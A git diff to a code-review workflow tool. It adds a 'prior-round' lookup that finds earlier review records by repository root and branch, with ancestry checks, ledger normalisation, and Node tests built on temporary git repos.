diff --git a/lib/craft-log-run.mjs b/lib/craft-log-run.mjs index 23da259c..e5342723 100644 --- a/lib/craft-log-run.mjs +++ b/lib/craft-log-run.mjs @@ -21,6 +21,7 @@ // finalize --dir complete record; folds in that run's checkpoints // recover unfinalized checkpoint dirs → partial records (no stdin) // from-journal rebuild a record from a workflow transcript (no stdin) +// prior-round --branch [--project

] newest prior review round for that branch (no stdin) // // Run: node lib/craft-log-run.mjs [flags] import fs from 'node:fs' @@ -28,7 +29,7 @@ import os from 'node:os' import path from 'node:path' import { execFileSync } from 'node:child_process' import { fileURLToPath } from 'node:url' -import { indexProjection, summarizeFindings, reviewVerdict } from './run-record.mjs' +import { indexProjection, summarizeFindings, reviewVerdict, selectPriorRounds } from './run-record.mjs' export const DEFAULT_STORE = path.join(os.homedir(), '.craft', 'runs') const PARTIAL_DIR = '.partial' @@ -37,11 +38,12 @@ const PARTIAL_DIR = '.partial' // Everything here used to be a shell snippet in a prompt. It is ordinary IO with one rule: a field // that cannot be resolved becomes null/'' and NEVER fails the run. Losing `dirty` is a blemish; // losing the record because git was unhappy is the failure this whole file exists to prevent. -function git(args, cwd) { +function git(args, cwd, { probe = false } = {}) { try { - return execFileSync('git', args, { cwd, encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] }).trim() + const out = execFileSync('git', args, { cwd, encoding: 'utf8', stdio: ['ignore', 'pipe', 'ignore'] }).trim() + return probe ? { ok: true, out } : out } catch { - return '' + return probe ? { ok: false, out: '' } : '' } } @@ -56,6 +58,17 @@ function craftRoot() { return path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..') } +// The stable identity of the repository being reviewed. A run launched from a subdirectory, through +// a symlinked or differently-spelled path, or from a linked worktree would otherwise key its record +// to a DIFFERENT string than the next run — and the round chain breaks exactly the way a `.` key +// broke it. `--show-toplevel` collapses all of those onto one key. Not a git repo (or no git at +// all) → the resolved path, which is still better than a relative one. +export function repoKey(p = process.cwd()) { + const abs = path.resolve(p) + const top = git(['rev-parse', '--show-toplevel'], abs) + return top ? path.resolve(top) : abs +} + export function computedFields(project = process.cwd(), now = new Date()) { return { ts: stamp(now), @@ -297,6 +310,122 @@ agents add toolsRun. A record with \`partial: true\` did NOT finish — never av `) } +// ---- prior round (READ path) ----------------------------------------------------------------- +// The mirror image of `write`: the re-review round used to be located by handing a model a prose +// recipe (read the index, pick the newest match, check ancestry, rebuild the path, read the JSON). +// That is a chain of DECISIONS, and it silently returned "no prior round" whenever any link failed. +// It is all done here, deterministically; the model only carries the bytes. +export const PRIOR_ROUND_NONE = { found: false, round: 0, head: '', ledger: [], ledgerCount: 0, priorFindings: 0, reason: '' } + +// Every "no prior round" carries WHY. The defect this command exists to remove is a silent +// chain-break, so the read path must never collapse "no store yet", "this branch has never been +// reviewed", "the head was rebased away" and "the record file is gone" into one indistinguishable +// {found:false} — the workflow logs this string so a broken chain is visible in the transcript. +function noPriorRound(reason) { + return { ...PRIOR_ROUND_NONE, reason } +} + +// The exact shape the workflow's strict LEDGER_ITEM schema accepts, with each key's natural empty. +// Normalizing here is the point: an older persisted ledger entry missing one required key would +// invalidate the whole structured output downstream and null out the round we just located. The +// script owns the shape; the model only transports it. +const LEDGER_ITEM_SHAPE = { + fp: '', file: '', line: 0, symbol: '', severity: '', tier: '', + disposition: '', source: '', ruleId: '', title: '', why: '', +} + +function normalizeLedgerItem(item) { + const src = (item && typeof item === 'object') ? item : {} + const out = {} + for (const [k, empty] of Object.entries(LEDGER_ITEM_SHAPE)) { + const v = src[k] + if (typeof empty === 'number') { + const n = Number(v) + out[k] = Number.isFinite(n) ? Math.trunc(n) : 0 + } else { + out[k] = typeof v === 'string' ? v : (v == null ? '' : String(v)) + } + } + // `sources` is optional in the schema but carries the strict-mode escalation — keep it when it is + // present and well-formed, drop it otherwise rather than emitting a value the schema rejects. + if (Array.isArray(src.sources)) out.sources = src.sources.filter(x => typeof x === 'string') + return out // unknown keys are dropped by construction +} + +function normalizeLedger(ledger) { + return (Array.isArray(ledger) ? ledger : []).map(normalizeLedgerItem) +} + +export function findPriorRound({ store = DEFAULT_STORE, project = process.cwd(), branch = '' } = {}) { + if (!branch) return noPriorRound('no-branch') + const indexFile = path.join(store, 'index.jsonl') + if (!fs.existsSync(store)) return noPriorRound('no-store') + if (!fs.existsSync(indexFile)) return noPriorRound('no-index') + const entries = readJsonl(indexFile) // malformed lines are skipped, not thrown + // Rows exist under both the resolved absolute path and whatever string the caller passed. NOT under + // `.`: legacy rows written with project="." are not attributable to any repository, and matching + // them can hand this branch a round from an unrelated repo — worse than missing the round. + const cwd = path.resolve(project) + // The invariant is enforced HERE, not at the CLI: a relative candidate (`.` above all) is dropped + // and only its resolved absolute form is searched, so a direct library call cannot reach the rows + // the comment above forbids. + const candidates = [...new Set([project, cwd])].filter(p => path.isAbsolute(p)) + const rows = candidates + .flatMap(p => selectPriorRounds(entries, { project: p, branch })) + .sort((a, b) => String(b.ts).localeCompare(String(a.ts))) + if (!rows.length) { + // Distinguish "never reviewed on this branch" from "reviewed, but every row is keyed to a + // string that names no repository" — the latter is the population this branch deliberately + // stops matching, and the FIRST re-review of every pre-existing branch lands here. + const unattributable = entries.some(e => + e && e.kind === 'workflow' && e.name === 'review' && e.branch === branch && + typeof e.project === 'string' && !path.isAbsolute(e.project)) + return noPriorRound(unattributable ? 'unattributable-rows-only' : 'no-candidate-rows') + } + // A repo we cannot interrogate is not the same as a rejected candidate: without git, ancestry is + // unknowable and EVERY row below would be dropped for the wrong reason. + if (!git(['rev-parse', '--git-dir'], cwd, { probe: true }).ok) return noPriorRound('git-unavailable') + // Newest FIRST, and a rejection continues the search: a candidate whose head is no longer on this + // history (rebase/force-push) or whose detail record is unreadable must not blank a valid older + // round — that is the silent chain-break this command exists to remove. + let rejected = '' + for (const cand of rows) { + if (!cand.head) { rejected ||= 'row-without-head'; continue } + const mb = git(['merge-base', '--is-ancestor', String(cand.head), 'HEAD'], cwd, { probe: true }) + if (!mb.ok) { rejected ||= 'ancestry-rejected'; continue } + const file = path.join(store, recordFilename({ ts: cand.ts, kind: cand.kind, name: cand.name })) + let rec + try { + rec = JSON.parse(fs.readFileSync(file, 'utf8')) + } catch { + rejected ||= 'detail-unreadable' + continue + } + // A `partial: true` record is a run that DIED — its ledger is whatever the last checkpoint + // happened to hold, not the round's conclusion. The store's own README says never to average + // one in; carrying one as the prior round would silently truncate the ledger chain. Keep + // walking: an older complete round is a far better base than a half-written newer one. + if (rec.partial) { rejected ||= 'partial-only'; continue } + const ledger = normalizeLedger(rec.ledger) + return { + found: true, + round: Number(rec.round || cand.round || 0) || 0, + // The head we RETURN is the head whose ancestry we just verified. Preferring `rec.head` here + // would hand `git diff ...HEAD` a value nothing checked — they agree today only because + // one write produces both. + head: String(cand.head), + ledger, + // Authoritative count, computed here. The ledger crosses an agent boundary as structured + // output on its way to the workflow; without a count printed alongside it, a truncated array + // is indistinguishable from a genuinely short round. The workflow asserts the two agree. + ledgerCount: ledger.length, + priorFindings: Number(rec.findings?.total ?? cand.findingsTotal ?? 0) || 0, + reason: '', + } + } + return noPriorRound(rejected || 'no-candidate-rows') +} + // ---- CLI ------------------------------------------------------------------------------------- function readStdin() { try { @@ -319,7 +448,12 @@ if (invokedDirectly) { // `project` keys the record to the repo that was REVIEWED. It defaults to cwd because that is // right for a live run, but from-journal is typically run from somewhere else entirely — and a // record filed against the wrong project silently splits that project's history in two. - const project = flag(argv, 'project') || process.cwd() + // Resolved to the REPOSITORY ROOT, not merely to an absolute path: a row keyed "." is not + // attributable to any repository (and the read path deliberately refuses to match those), and a + // row keyed to a subdirectory of the repo is invisible to a run launched from the root. Both the + // write path (checkpoint/finalize) and the read path (prior-round) go through this one line, so + // records written before and after keep matching. + const project = repoKey(flag(argv, 'project') || process.cwd()) const parseStdin = () => { const raw = readStdin() if (!raw.trim()) throw new Error('no record on stdin') @@ -351,8 +485,18 @@ if (invokedDirectly) { const rec = recordFromJournal(dir, { name: flag(argv, 'name') || 'review' }) const { file } = writeRecord(rec, { store, project }) console.log(`wrote ${file} (${rec.agentsStarted} agent(s), ${rec.agentsLost} lost, ${rec.findings.total} candidate finding(s))`) + } else if (cmd === 'prior-round') { + // Losing the prior round must DEGRADE the review, never abort it: any failure below is a + // clean "no prior round" on stdout with exit 0, never the FAILED line the other commands use. + let out = PRIOR_ROUND_NONE + try { + out = findPriorRound({ store, project, branch: flag(argv, 'branch') || '' }) + } catch { + out = PRIOR_ROUND_NONE + } + console.log(JSON.stringify(out)) } else { - console.error('usage: craft-log-run.mjs write|checkpoint|finalize|recover|from-journal') + console.error('usage: craft-log-run.mjs write|checkpoint|finalize|recover|from-journal|prior-round') process.exit(2) } } catch (e) { diff --git a/lib/run-record.mjs b/lib/run-record.mjs index 9352b650..ee13500c 100644 --- a/lib/run-record.mjs +++ b/lib/run-record.mjs @@ -122,14 +122,17 @@ export function indexProjection(r) { } } -// Pick the newest prior `review` run for this project+branch from the loaded index.jsonl entries. -// ts strings are UTC and lexically sortable (YYYY-MM-DDTHH-MM-SSZ), so a string max is chronological. -export function selectPriorRound(indexEntries, { project, branch }) { - let best = null +// All prior `review` runs for this project+branch from the loaded index.jsonl entries, NEWEST FIRST. +// ts strings are UTC and lexically sortable (YYYY-MM-DDTHH-MM-SSZ), so a string sort is chronological. +// Callers walk this list: a candidate can be rejected downstream (head no longer an ancestor after a +// rebase, unreadable detail record) and the next-newest must still be reachable. +export function selectPriorRounds(indexEntries, { project, branch }) { + const hits = [] for (const e of (Array.isArray(indexEntries) ? indexEntries : [])) { if (!e || e.kind !== 'workflow' || e.name !== 'review') continue if (e.project !== project || e.branch !== branch || !e.branch) continue - if (!best || String(e.ts) > String(best.ts)) best = e + hits.push(e) } - return best + return hits.sort((a, b) => String(b.ts).localeCompare(String(a.ts))) } + diff --git a/lib/run-record.test.mjs b/lib/run-record.test.mjs index 5cc69699..0a36f876 100644 --- a/lib/run-record.test.mjs +++ b/lib/run-record.test.mjs @@ -1,10 +1,29 @@ import { test } from 'node:test' import assert from 'node:assert/strict' import { - countBySeverity, summarizeFindings, worstVerdict, reviewVerdict, refuteRate, indexProjection, selectPriorRound, + countBySeverity, summarizeFindings, worstVerdict, reviewVerdict, refuteRate, indexProjection, selectPriorRounds, tallyVerdicts, titleShingle, fingerprint, shingleOverlap, matchesPrior, dispositionFromTriage, rereviewVerdict, } from './run-record.mjs' +import fs from 'node:fs' +import os from 'node:os' +import path from 'node:path' +import { execFileSync, spawnSync } from 'node:child_process' +import { fileURLToPath } from 'node:url' +import { findPriorRound, PRIOR_ROUND_NONE } from './craft-log-run.mjs' + +const CLI = fileURLToPath(new URL('./craft-log-run.mjs', import.meta.url)) + +// A throwaway git repo with one commit. Every prior-round test needs real ancestry, and none of +// them may depend on the ambient checkout — outside one, an ambient test ERRORS instead of failing. +function tempRepo(branch = 'feat/x') { + const dir = fs.realpathSync(fs.mkdtempSync(path.join(os.tmpdir(), 'craft-repo-'))) + const g = a => execFileSync('git', a, { cwd: dir, stdio: ['ignore', 'pipe', 'ignore'], encoding: 'utf8' }).trim() + g(['init', '-q', '-b', branch]) + g(['config', 'user.email', 't@t']); g(['config', 'user.name', 't']) + fs.writeFileSync(path.join(dir, 'a'), '1'); g(['add', 'a']); g(['commit', '-qm', 'one']) + return { dir, head: g(['rev-parse', '--short', 'HEAD']) } +} test('countBySeverity tallies known severities, ignores unknown and malformed', () => { assert.deepEqual( @@ -160,7 +179,7 @@ test('indexProjection nulls craftVersion/craftCommit for records that predate th assert.ok('craftVersion' in p && 'craftCommit' in p, 'keys present even when unknown') }) -test('selectPriorRound picks the latest matching review for the branch', () => { +test('selectPriorRounds ranks matching reviews for the branch newest-first', () => { const idx = [ { ts: '2026-07-10T00-00-00Z', kind: 'workflow', name: 'review', project: '/p', branch: 'feat/x' }, { ts: '2026-07-12T00-00-00Z', kind: 'workflow', name: 'review', project: '/p', branch: 'feat/x' }, @@ -168,7 +187,235 @@ test('selectPriorRound picks the latest matching review for the branch', () => { { ts: '2026-07-11T00-00-00Z', kind: 'workflow', name: 'rust-audit', project: '/p', branch: 'feat/x' }, { ts: '2026-07-14T00-00-00Z', kind: 'workflow', name: 'review', project: '/OTHER', branch: 'feat/x' }, ] - assert.equal(selectPriorRound(idx, { project: '/p', branch: 'feat/x' }).ts, '2026-07-12T00-00-00Z') - assert.equal(selectPriorRound(idx, { project: '/p', branch: 'nope' }), null) - assert.equal(selectPriorRound([], { project: '/p', branch: 'feat/x' }), null) + assert.deepEqual( + selectPriorRounds(idx, { project: '/p', branch: 'feat/x' }).map(e => e.ts), + ['2026-07-12T00-00-00Z', '2026-07-10T00-00-00Z'], + 'newest first, and the older round stays reachable as a fallback candidate', + ) + assert.deepEqual(selectPriorRounds(idx, { project: '/p', branch: 'nope' }), []) + assert.deepEqual(selectPriorRounds([], { project: '/p', branch: 'feat/x' }), []) +}) + +// ---- prior-round selection, end to end ------------------------------------------------------- +// The READ path used to be a prose recipe handed to a model. These pin the conditions the real +// store actually contains — an empty/absent branch, a project that does not match, and blocks of +// pretty-printed (multi-line) JSON inside index.jsonl that a strict reader would throw on. +test('selectPriorRounds rejects an entry with an empty or absent branch', () => { + const idx = [ + { ts: '2026-07-10T00-00-00Z', kind: 'workflow', name: 'review', project: '/p', branch: '' }, + { ts: '2026-07-11T00-00-00Z', kind: 'workflow', name: 'review', project: '/p' }, + ] + assert.deepEqual(selectPriorRounds(idx, { project: '/p', branch: '' }), []) + assert.deepEqual(selectPriorRounds(idx, { project: '/p', branch: 'feat/x' }), []) +}) + +test('findPriorRound: newest wins, malformed index lines are skipped, mismatches reject', (t) => { + const store = fs.mkdtempSync(path.join(os.tmpdir(), 'craft-prior-')) + const project = fs.mkdtempSync(path.join(os.tmpdir(), 'craft-proj-')) + const g = a => execFileSync('git', a, { cwd: project, stdio: ['ignore', 'pipe', 'ignore'], encoding: 'utf8' }).trim() + g(['init', '-q', '-b', 'feat/x']) + g(['config', 'user.email', 't@t']); g(['config', 'user.name', 't']) + fs.writeFileSync(path.join(project, 'a'), '1'); g(['add', 'a']); g(['commit', '-qm', 'one']) + const old = g(['rev-parse', '--short', 'HEAD']) + fs.writeFileSync(path.join(project, 'a'), '2'); g(['commit', '-qam', 'two']) + t.after(() => { fs.rmSync(store, { recursive: true, force: true }); fs.rmSync(project, { recursive: true, force: true }) }) + + const row = (ts, extra = {}) => ({ ts, kind: 'workflow', name: 'review', project, branch: 'feat/x', head: old, round: 1, ...extra }) + const detail = (ts, rec) => fs.writeFileSync(path.join(store, `${ts}-workflow-review.json`), JSON.stringify(rec)) + detail('2026-07-10T00-00-00Z', { round: 1, head: old, ledger: [{ fp: 'aaaa' }], findings: { total: 3 } }) + detail('2026-07-12T00-00-00Z', { round: 4, head: old, ledger: [{ fp: 'bbbb' }, { fp: 'cccc' }], findings: { total: 7 } }) + fs.writeFileSync(path.join(store, 'index.jsonl'), [ + JSON.stringify(row('2026-07-10T00-00-00Z')), + '{\n "ts": "2026-07-11T00-00-00Z",', // pretty-printed JSON split across lines: + ' "kind": "workflow"\n}', // a strict reader throws here, we must not + JSON.stringify(row('2026-07-12T00-00-00Z')), + JSON.stringify(row('2026-07-13T00-00-00Z', { project: '/somewhere/else' })), + JSON.stringify(row('2026-07-14T00-00-00Z', { branch: 'other' })), + ].join('\n') + '\n') + + const hit = findPriorRound({ store, project, branch: 'feat/x' }) + assert.equal(hit.found, true) + assert.equal(hit.round, 4, 'newest matching ts wins, and the detail record supplies the round') + assert.equal(hit.head, old) + assert.equal(hit.ledger.length, 2) + assert.equal(hit.priorFindings, 7) + + assert.equal(hit.ledgerCount, 2, 'the authoritative count the workflow checks the transported array against') + assert.equal(hit.reason, '', 'a found round carries no rejection reason') + + // Every miss names ITS OWN cause: collapsing these into one {found:false} is the silent + // chain-break this command exists to remove. + assert.equal(findPriorRound({ store, project, branch: 'nope' }).reason, 'no-candidate-rows', 'branch mismatch') + assert.equal(findPriorRound({ store, project, branch: '' }).reason, 'no-branch', 'absent branch') + assert.equal(findPriorRound({ store, project: '/not/this/repo', branch: 'feat/x' }).reason, 'no-candidate-rows', 'project mismatch') + assert.equal(findPriorRound({ store: path.join(store, 'gone'), project, branch: 'feat/x' }).reason, 'no-store', 'no store at all') + assert.equal(findPriorRound({ store, project, branch: 'nope' }).found, false) +}) + +// The two conditions this whole read path exists for — a legacy row that names no repository, and a +// head that a rebase/force-push left off this history — plus the fallback that keeps either from +// blanking a valid round. +test('findPriorRound: skips `.` rows, walks past non-ancestor and unreadable candidates, normalizes the ledger', (t) => { + const store = fs.mkdtempSync(path.join(os.tmpdir(), 'craft-prior2-')) + const project = fs.mkdtempSync(path.join(os.tmpdir(), 'craft-proj2-')) + const g = a => execFileSync('git', a, { cwd: project, stdio: ['ignore', 'pipe', 'ignore'], encoding: 'utf8' }).trim() + g(['init', '-q', '-b', 'feat/x']) + g(['config', 'user.email', 't@t']); g(['config', 'user.name', 't']) + fs.writeFileSync(path.join(project, 'a'), '1'); g(['add', 'a']); g(['commit', '-qm', 'one']) + const good = g(['rev-parse', '--short', 'HEAD']) + fs.writeFileSync(path.join(project, 'a'), '2'); g(['commit', '-qam', 'two']) + // An orphan commit: a real object in this repo that is NOT an ancestor of HEAD — exactly what a + // rebase or force-push leaves behind in an older run record. + g(['checkout', '-q', '--orphan', 'tmp-orphan']) + fs.writeFileSync(path.join(project, 'b'), '1'); g(['add', 'b']); g(['commit', '-qm', 'orphan']) + const orphan = g(['rev-parse', '--short', 'HEAD']) + g(['checkout', '-q', 'feat/x']) + t.after(() => { fs.rmSync(store, { recursive: true, force: true }); fs.rmSync(project, { recursive: true, force: true }) }) + + const row = (ts, extra = {}) => ({ ts, kind: 'workflow', name: 'review', project, branch: 'feat/x', head: good, round: 1, ...extra }) + const detail = (ts, rec) => fs.writeFileSync(path.join(store, `${ts}-workflow-review.json`), JSON.stringify(rec)) + // The only survivor: an older row whose head IS an ancestor and whose detail record is readable. + detail('2026-07-10T00-00-00Z', { + round: 2, + head: good, + // A persisted entry from an older engine: missing most required keys, carrying an unknown one. + ledger: [{ fp: 'aaaa', line: '17', junk: 'drop me', sources: ['lens:api', 7] }], + findings: { total: 5 }, + }) + detail('2026-07-12T00-00-00Z', { round: 9, head: orphan, ledger: [], findings: { total: 1 } }) + // 2026-07-13 deliberately has NO detail file on disk. + fs.writeFileSync(path.join(store, 'index.jsonl'), [ + JSON.stringify(row('2026-07-10T00-00-00Z', { round: 2 })), + JSON.stringify(row('2026-07-12T00-00-00Z', { head: orphan, round: 9 })), // rejected: not an ancestor + JSON.stringify(row('2026-07-13T00-00-00Z', { round: 8 })), // rejected: detail unreadable + JSON.stringify(row('2026-07-14T00-00-00Z', { project: '.', round: 7 })), // rejected: unattributable + ].join('\n') + '\n') + detail('2026-07-14T00-00-00Z', { round: 7, head: good, ledger: [], findings: { total: 99 } }) + + const hit = findPriorRound({ store, project, branch: 'feat/x' }) + assert.equal(hit.found, true, 'a rejected newest candidate must not end the search') + assert.equal(hit.round, 2, 'newest-first with fallback lands on the oldest valid row here') + assert.equal(hit.priorFindings, 5) + + const item = hit.ledger[0] + assert.equal(Object.prototype.hasOwnProperty.call(item, 'junk'), false, 'unknown keys are dropped') + assert.equal(item.line, 17, 'line is coerced to an integer') + assert.equal(item.fp, 'aaaa') + for (const k of ['fp', 'file', 'line', 'symbol', 'severity', 'tier', 'disposition', 'source', 'ruleId', 'title', 'why']) { + assert.equal(Object.prototype.hasOwnProperty.call(item, k), true, `missing required key ${k}`) + } + assert.deepEqual(item.sources, ['lens:api'], 'sources is kept, non-strings dropped') + + // And with ONLY a `.` row in the store there is no prior round at all — never a foreign repo's. + const store2 = fs.mkdtempSync(path.join(os.tmpdir(), 'craft-prior3-')) + t.after(() => fs.rmSync(store2, { recursive: true, force: true })) + fs.writeFileSync(path.join(store2, 'index.jsonl'), JSON.stringify(row('2026-07-14T00-00-00Z', { project: '.' })) + '\n') + fs.writeFileSync(path.join(store2, '2026-07-14T00-00-00Z-workflow-review.json'), JSON.stringify({ round: 7, head: good, ledger: [], findings: { total: 99 } })) + const miss = findPriorRound({ store: store2, project, branch: 'feat/x' }) + assert.equal(miss.found, false, 'a `.` row is never attributed to this repo') + assert.equal(miss.reason, 'unattributable-rows-only', + 'and the drop is REPORTED — this is the first re-review of every branch whose rows predate the absolute key') + assert.deepEqual({ ...miss, reason: '' }, PRIOR_ROUND_NONE, 'otherwise the empty shape is unchanged') +}) + +// The CLI resolves `--project` to the repository root before calling in, so the end-to-end tests +// above can never exercise a relative project. A DIRECT library call can — and that is the path +// that regressed. `project: '.'` must not become a candidate that matches legacy `project: "."` +// rows. Hermetic: it builds its own repo and runs from inside it, so it FAILS rather than errors +// when the tests are run outside a git checkout. +test('findPriorRound: a direct library call with a relative project never matches a `.` row', (t) => { + const store = fs.mkdtempSync(path.join(os.tmpdir(), 'craft-prior4-')) + const { dir: project, head } = tempRepo('feat/x') + const cwd0 = process.cwd() + process.chdir(project) + t.after(() => { + process.chdir(cwd0) + fs.rmSync(store, { recursive: true, force: true }) + fs.rmSync(project, { recursive: true, force: true }) + }) + const branch = 'feat/x' + const ts = '2026-07-14T00-00-00Z' + // Everything else about this row is valid: right branch, an ancestor head, a readable detail + // record. Only the unattributable `project: "."` may keep it from being returned. + fs.writeFileSync(path.join(store, 'index.jsonl'), + JSON.stringify({ ts, kind: 'workflow', name: 'review', project: '.', branch, head, round: 7 }) + '\n') + fs.writeFileSync(path.join(store, `${ts}-workflow-review.json`), + JSON.stringify({ round: 7, head, ledger: [{ fp: 'aaaa' }], findings: { total: 99 } })) + + assert.deepEqual( + { ...findPriorRound({ store, project: '.', branch }), reason: '' }, + PRIOR_ROUND_NONE, + 'a relative project must be dropped as a candidate, not searched as the literal string "."', + ) +}) + +// A `partial: true` record is a run that DIED. The store's README says never to average one in, and +// its ledger is whatever the last checkpoint held — carrying it as the prior round truncates the +// chain. The search must skip it and keep walking to an older COMPLETE round. +test('findPriorRound: a partial record is never the prior round', (t) => { + const store = fs.mkdtempSync(path.join(os.tmpdir(), 'craft-prior5-')) + const { dir: project, head } = tempRepo('feat/x') + t.after(() => { fs.rmSync(store, { recursive: true, force: true }); fs.rmSync(project, { recursive: true, force: true }) }) + const row = (ts, round) => JSON.stringify({ ts, kind: 'workflow', name: 'review', project, branch: 'feat/x', head, round }) + const detail = (ts, rec) => fs.writeFileSync(path.join(store, `${ts}-workflow-review.json`), JSON.stringify(rec)) + detail('2026-07-10T00-00-00Z', { round: 2, head, ledger: [{ fp: 'aaaa' }], findings: { total: 5 } }) + detail('2026-07-12T00-00-00Z', { round: 9, head, partial: true, ledger: [{ fp: 'zzzz' }], findings: { total: 1 } }) + fs.writeFileSync(path.join(store, 'index.jsonl'), [row('2026-07-10T00-00-00Z', 2), row('2026-07-12T00-00-00Z', 9)].join('\n') + '\n') + + const hit = findPriorRound({ store, project, branch: 'feat/x' }) + assert.equal(hit.round, 2, 'the newer PARTIAL round is skipped in favour of the older complete one') + assert.equal(hit.ledger[0].fp, 'aaaa') + + // With ONLY a partial record there is no prior round at all — and the reason says so. + fs.writeFileSync(path.join(store, 'index.jsonl'), row('2026-07-12T00-00-00Z', 9) + '\n') + const miss = findPriorRound({ store, project, branch: 'feat/x' }) + assert.equal(miss.found, false) + assert.equal(miss.reason, 'partial-only') +}) + +// ---- the CLI contract ------------------------------------------------------------------------ +// "One line of JSON, always exit 0, never aborts the review" is the promise the workflow leans on: +// the loader agent runs the subcommand and returns its bytes. Exercised as a SUBPROCESS, because +// the library-level tests above cannot see the exit code, the stdout framing, or the CLI's own +// project resolution. +function runCli(args, opts = {}) { + const res = spawnSync(process.execPath, [CLI, ...args], { encoding: 'utf8', ...opts }) + return { status: res.status, stdout: res.stdout, stderr: res.stderr } +} + +test('prior-round CLI: one line of JSON on stdout, exit 0, and the repo root as the key', (t) => { + const store = fs.mkdtempSync(path.join(os.tmpdir(), 'craft-prior6-')) + const { dir: project, head } = tempRepo('feat/x') + const sub = path.join(project, 'nested', 'deep') + fs.mkdirSync(sub, { recursive: true }) + t.after(() => { fs.rmSync(store, { recursive: true, force: true }); fs.rmSync(project, { recursive: true, force: true }) }) + + const ts = '2026-07-10T00-00-00Z' + // The row is keyed to the repository ROOT — what the CLI now writes from anywhere in the repo. + fs.writeFileSync(path.join(store, 'index.jsonl'), + JSON.stringify({ ts, kind: 'workflow', name: 'review', project: fs.realpathSync(project), branch: 'feat/x', head, round: 3 }) + '\n') + fs.writeFileSync(path.join(store, `${ts}-workflow-review.json`), + JSON.stringify({ round: 3, head, ledger: [{ fp: 'aaaa' }, { fp: 'bbbb' }], findings: { total: 4 } })) + + // Run from a SUBDIRECTORY: keying by $PWD would miss the row entirely. + const ok = runCli(['prior-round', '--branch', 'feat/x', '--store', store], { cwd: sub }) + assert.equal(ok.status, 0, 'always exit 0') + assert.equal(ok.stdout.trimEnd().split('\n').length, 1, 'exactly one line') + const out = JSON.parse(ok.stdout) + assert.equal(out.found, true, 'a run from a subdirectory still finds the repo-root-keyed round') + assert.equal(out.round, 3) + assert.equal(out.ledgerCount, 2) + assert.equal(out.ledger.length, out.ledgerCount) + + // The failure case: a store that does not exist. Still one line, still exit 0, and it SAYS why — + // losing the prior round degrades the review, it never aborts it. + const miss = runCli(['prior-round', '--branch', 'feat/x', '--store', path.join(store, 'gone')], { cwd: project }) + assert.equal(miss.status, 0, 'a missing store is not an error exit') + assert.equal(miss.stderr, '', 'and nothing is written to stderr') + const missOut = JSON.parse(miss.stdout) + assert.equal(missOut.found, false) + assert.equal(missOut.reason, 'no-store') + + // An unknown subcommand is still a usage error — the tolerance is scoped to prior-round. + assert.equal(runCli(['bogus'], { cwd: project }).status, 2) }) diff --git a/workflows/review.js b/workflows/review.js index 177f092f..e8f72d31 100644 --- a/workflows/review.js +++ b/workflows/review.js @@ -350,12 +350,14 @@ const LEDGER_ITEM = { const PRIOR_ROUND_SCHEMA = { type: 'object', additionalProperties: false, - required: ['found', 'round', 'head', 'ledger', 'priorFindings'], + required: ['found', 'round', 'head', 'ledger', 'ledgerCount', 'priorFindings', 'reason'], properties: { found: { type: 'boolean' }, round: { type: 'integer', description: 'the prior round number; 0 when found=false' }, head: { type: 'string', description: 'prior HEAD sha; empty when found=false' }, ledger: { type: 'array', items: LEDGER_ITEM, description: 'prior findings with fp/symbol/tier/disposition; empty when found=false' }, + ledgerCount: { type: 'integer', description: 'the ledger length the script computed — copy it as printed; the workflow checks it against the array it received and treats a mismatch as a truncated transport' }, + reason: { type: 'string', description: 'why there is no prior round (no-store, no-index, no-candidate-rows, unattributable-rows-only, ancestry-rejected, detail-unreadable, partial-only, git-unavailable); empty when found=true' }, priorFindings: { type: 'integer', description: 'total findings the prior round reported (its record findings.total); 0 when found=false or unknown — used to detect a round that found bugs but persisted no ledger' }, }, } @@ -669,7 +671,9 @@ async function ragent(prompt, opts = {}) { // ---- run-record helpers (VERBATIM mirror of lib/run-record.mjs — the sandbox can't import; keep in sync) ---- // Mirrors: countBySeverity, summarizeFindings, reviewVerdict, titleShingle, // fingerprint, shingleOverlap, matchesPrior, DISPOSITION_FROM_TRIAGE, dispositionFromTriage, -// rereviewVerdict, selectPriorRound. +// rereviewVerdict. (selectPriorRound is NOT mirrored: round selection, ancestry and record loading +// now happen in `craft-log-run.mjs prior-round`, so no mirror is needed — a haiku still runs the +// command and carries the bytes back, but it decides nothing.) const SEVERITIES = ['Critical', 'High', 'Medium', 'Low', 'Info'] function countBySeverity(findings) { const by = { Critical: 0, High: 0, Medium: 0, Low: 0, Info: 0 } @@ -733,7 +737,7 @@ Run exactly this, then return the runDir the script prints: cat > /tmp/craft-ckpt.json <<'CRAFT_CKPT_EOF' …PAYLOAD below, byte for byte… CRAFT_CKPT_EOF -node ${LOGGER_PATH} checkpoint --phase ${shq(phase)} ${runDir ? `--dir ${shq(runDir)} ` : ''}--project ${shq(repoArg || '.')} < /tmp/craft-ckpt.json +cd ${shq(repoArg || '.')} && node ${LOGGER_PATH} checkpoint --phase ${shq(phase)} ${runDir ? `--dir ${shq(runDir)} ` : ''}--project "$PWD" < /tmp/craft-ckpt.json \`\`\` The script owns naming, sequencing and every computed field. Copy PAYLOAD verbatim into the quoted heredoc. Best-effort: if it fails, report the error line and do NOT retry by writing files yourself. @@ -765,7 +769,7 @@ Run exactly this: cat > /tmp/craft-rec.json <<'CRAFT_RECORD_EOF' …RECORD below, byte for byte… CRAFT_RECORD_EOF -node ${LOGGER_PATH} finalize ${runDir ? `--dir ${shq(runDir)} ` : ''}--project ${shq(repoArg || '.')} < /tmp/craft-rec.json +cd ${shq(repoArg || '.')} && node ${LOGGER_PATH} finalize ${runDir ? `--dir ${shq(runDir)} ` : ''}--project "$PWD" < /tmp/craft-rec.json \`\`\` The script computes every field (ts, project, commit, dirty, craftCommit), names the file, appends the index line, folds in this run's phase checkpoints and verifies the readback. You compute NONE of that. @@ -839,18 +843,6 @@ function rereviewVerdict({ stillOpen = [], regressed = [], neu = [] } = {}) { return reviewVerdict([...stillOpen, ...regressed, ...neu]) } -// Pick the newest prior `review` run for this project+branch from the loaded index.jsonl entries. -// ts strings are UTC and lexically sortable (YYYY-MM-DDTHH-MM-SSZ), so a string max is chronological. -function selectPriorRound(indexEntries, { project, branch }) { - let best = null - for (const e of (Array.isArray(indexEntries) ? indexEntries : [])) { - if (!e || e.kind !== 'workflow' || e.name !== 'review') continue - if (e.project !== project || e.branch !== branch || !e.branch) continue - if (!best || String(e.ts) > String(best.ts)) best = e - } - return best -} - // A re-review scans lenses only over the fix delta (prevHead...HEAD) by default — cheap, but a defect // in code an intermediate round did not touch is never re-scanned; only the carried ledger keeps it // alive. Two 